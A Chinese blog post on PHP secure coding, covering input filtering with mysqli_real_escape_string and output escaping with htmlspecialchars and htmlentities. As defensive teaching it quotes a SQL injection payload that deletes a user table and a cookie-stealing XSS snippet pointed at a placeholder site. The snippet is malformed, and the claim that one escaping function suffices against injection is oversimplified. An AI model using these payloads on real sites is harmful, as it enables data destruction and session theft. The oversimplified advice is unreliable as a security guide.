• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

php安全编程之过滤用户输入和输出转义

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

今天的主题是php安全编程需要注意的两个地方:用户输入和内容输出

一、过滤用户输入

 在大多数动态网页中,用户都可以提交表单来提交特定的内容,比如注册,评论,聊天等等。

那么在用户将表单提交后,我们后台人员需要注意哪些呢?

1.永远不能相信用户提交的内容

2.在将用户提交内容入库前一定要做验证和过滤。

那么为何我们不能相信用户提交的内容?又有哪些消息信息会对我们造成损害呢?且听我慢慢道来。

例一、当用户使用手机号注册某网站会员时,一般网站会通过js+ajax后台验证手机号合法与否。

这个处理的目的在于确认用户使用有效的手机号注册,因为只有有效的手机号才能为我们所用,让我们和用户有更多的互动,进而提取其中暗含的价值。

 

例二、恶意评论:有些用户会发送恶意评论,妄图对数据库的内容进行操作,这时如果我们不对用户提交的内容作求过滤的话,可能会给公司带来不可预估的损失。

例如,提交评论时,用户输入 this is a bad comment"; DELETE FROM user;

上面的内容如果不做过滤,而且正好数据库中有user表,且用户有user表的操作权限,那么悲剧就可能发生了,user这张表就会被用户删除;想想都可怕。。。

不过在php中我们只需简单的使用一个函数就可以有效的阻止上述情况的发生。mysqli_real_escape_string(),使用该函数可以有效的转义对数据库操作有影响的字符。

这样就不会对数据库有危害了。

 

二、转义输出

比如用户的评论内容中有js脚本。这个js可能会在显示评论时执行,这时如果这个脚本有一定的危险操作,那么这将是很危险的。因此我们在输出用户评论时,需要转义评论的内容。

php中有两个函数htmlspecialchars和htmlentities,前者用来转义&,>,<等字符,后者是转义所有html标签,这样在前台显示评论时,脚本就失效了。保证了访问者信息的安全。

例如:<script>this.document = 某个网站地址?+this.cookie</script>  转义后会变成 &lt;script&gt;this.document = 某个网站地址?+this.cookie&lt;/script&gt;

 

以上就是我对php安全编程的一些方法总结,感谢您的阅读

注:因本人的技术有限,如果有理解错误的地方,还请各位批评指正,共同交流学习,谢谢大家。我会继续努力的。

 


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP时间格式化参数表笔记发布时间:2022-07-10
下一篇:
【PHP】-session_cache_limiter(private,must-revalidate)是什么意思发布时间:2022-07-10
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap